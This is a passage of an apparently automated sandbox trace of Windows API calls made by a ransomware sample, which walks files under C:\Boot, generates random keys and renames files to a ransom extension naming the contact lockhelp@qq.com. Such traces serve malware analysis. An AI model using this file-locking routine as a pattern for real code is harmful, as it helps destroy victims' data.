"c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0047.209] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0047.209] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.209] ResetEvent (hEvent=0x12c) returned 1 [0047.209] SetEvent (hEvent=0x138) returned 1 [0047.209] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.209] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.210] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=3876772) returned 1 [0047.210] CloseHandle (hObject=0x18c) returned 1 [0047.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0047.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0047.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0047.210] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.210] ResetEvent (hEvent=0x12c) returned 1 [0047.210] SetEvent (hEvent=0x138) returned 1 [0047.211] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.211] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.211] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=1984228) returned 1 [0047.211] CloseHandle (hObject=0x18c) returned 1 [0047.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0047.211] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0047.211] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0047.211] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.211] ResetEvent (hEvent=0x12c) returned 1 [0047.211] SetEvent (hEvent=0x138) returned 1 [0047.212] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.212] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.212] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=2371360) returned 1 [0047.212] CloseHandle (hObject=0x18c) returned 1 [0047.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0047.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0047.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0047.212] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.212] ResetEvent (hEvent=0x12c) returned 1 [0047.212] SetEvent (hEvent=0x138) returned 1 [0047.213] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.213] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.213] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=47452) returned 1 [0047.213] CloseHandle (hObject=0x18c) returned 1 [0047.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0047.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.213] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.213] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.214] ResetEvent (hEvent=0x12c) returned 1 [0047.214] SetEvent (hEvent=0x138) returned 1 [0047.214] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.214] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.214] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=93248) returned 1 [0047.214] CloseHandle (hObject=0x18c) returned 1 [0047.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0047.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.214] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.215] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.215] ResetEvent (hEvent=0x12c) returned 1 [0047.215] SetEvent (hEvent=0x138) returned 1 [0047.215] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.215] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.215] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=90688) returned 1 [0047.216] CloseHandle (hObject=0x18c) returned 1 [0047.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0047.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.263] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.263] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.264] ResetEvent (hEvent=0x12c) returned 1 [0047.264] SetEvent (hEvent=0x138) returned 1 [0047.264] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.264] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.264] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=90704) returned 1 [0047.264] CloseHandle (hObject=0x18c) returned 1 [0047.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0047.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.264] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.265] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.265] ResetEvent (hEvent=0x12c) returned 1 [0047.265] SetEvent (hEvent=0x138) returned 1 [0047.265] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.265] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.266] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=76352) returned 1 [0047.266] CloseHandle (hObject=0x18c) returned 1 [0047.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0047.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.266] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.266] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.267] ResetEvent (hEvent=0x12c) returned 1 [0047.267] SetEvent (hEvent=0x138) returned 1 [0047.267] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.267] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.267] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=75344) returned 1 [0047.267] CloseHandle (hObject=0x18c) returned 1 [0047.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0047.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.267] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.267] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.268] ResetEvent (hEvent=0x12c) returned 1 [0047.268] SetEvent (hEvent=0x138) returned 1 [0047.268] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.268] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0047.268] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=485760) returned 1 [0047.268] CloseHandle (hObject=0x188) returned 1 [0047.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0047.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\memtest.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.268] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.269] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.269] ResetEvent (hEvent=0x12c) returned 1 [0047.269] SetEvent (hEvent=0x138) returned 1 [0047.269] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.269] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.269] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=88144) returned 1 [0047.269] CloseHandle (hObject=0x18c) returned 1 [0047.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0047.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.270] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.270] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.270] ResetEvent (hEvent=0x12c) returned 1 [0047.271] SetEvent (hEvent=0x138) returned 1 [0047.271] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.271] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.271] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=90704) returned 1 [0047.271] CloseHandle (hObject=0x18c) returned 1 [0047.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0047.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.271] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.271] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.272] ResetEvent (hEvent=0x12c) returned 1 [0047.272] SetEvent (hEvent=0x138) returned 1 [0047.272] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.272] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.272] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=90704) returned 1 [0047.272] CloseHandle (hObject=0x18c) returned 1 [0047.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0047.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.272] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.273] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.273] ResetEvent (hEvent=0x12c) returned 1 [0047.273] SetEvent (hEvent=0x138) returned 1 [0047.273] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.273] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.274] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=90176) returned 1 [0047.274] CloseHandle (hObject=0x18c) returned 1 [0047.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0047.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.274] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.274] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.275] ResetEvent (hEvent=0x12c) returned 1 [0047.275] SetEvent (hEvent=0x138) returned 1 [0047.275] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.275] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.275] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=89664) returned 1 [0047.275] CloseHandle (hObject=0x18c) returned 1 [0047.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0047.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.275] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.275] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.276] ResetEvent (hEvent=0x12c) returned 1 [0047.276] SetEvent (hEvent=0x138) returned 1 [0047.276] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.276] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.276] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=90192) returned 1 [0047.276] CloseHandle (hObject=0x18c) returned 1 [0047.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0047.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.277] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.277] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.277] ResetEvent (hEvent=0x12c) returned 1 [0047.277] SetEvent (hEvent=0x138) returned 1 [0047.278] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.278] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 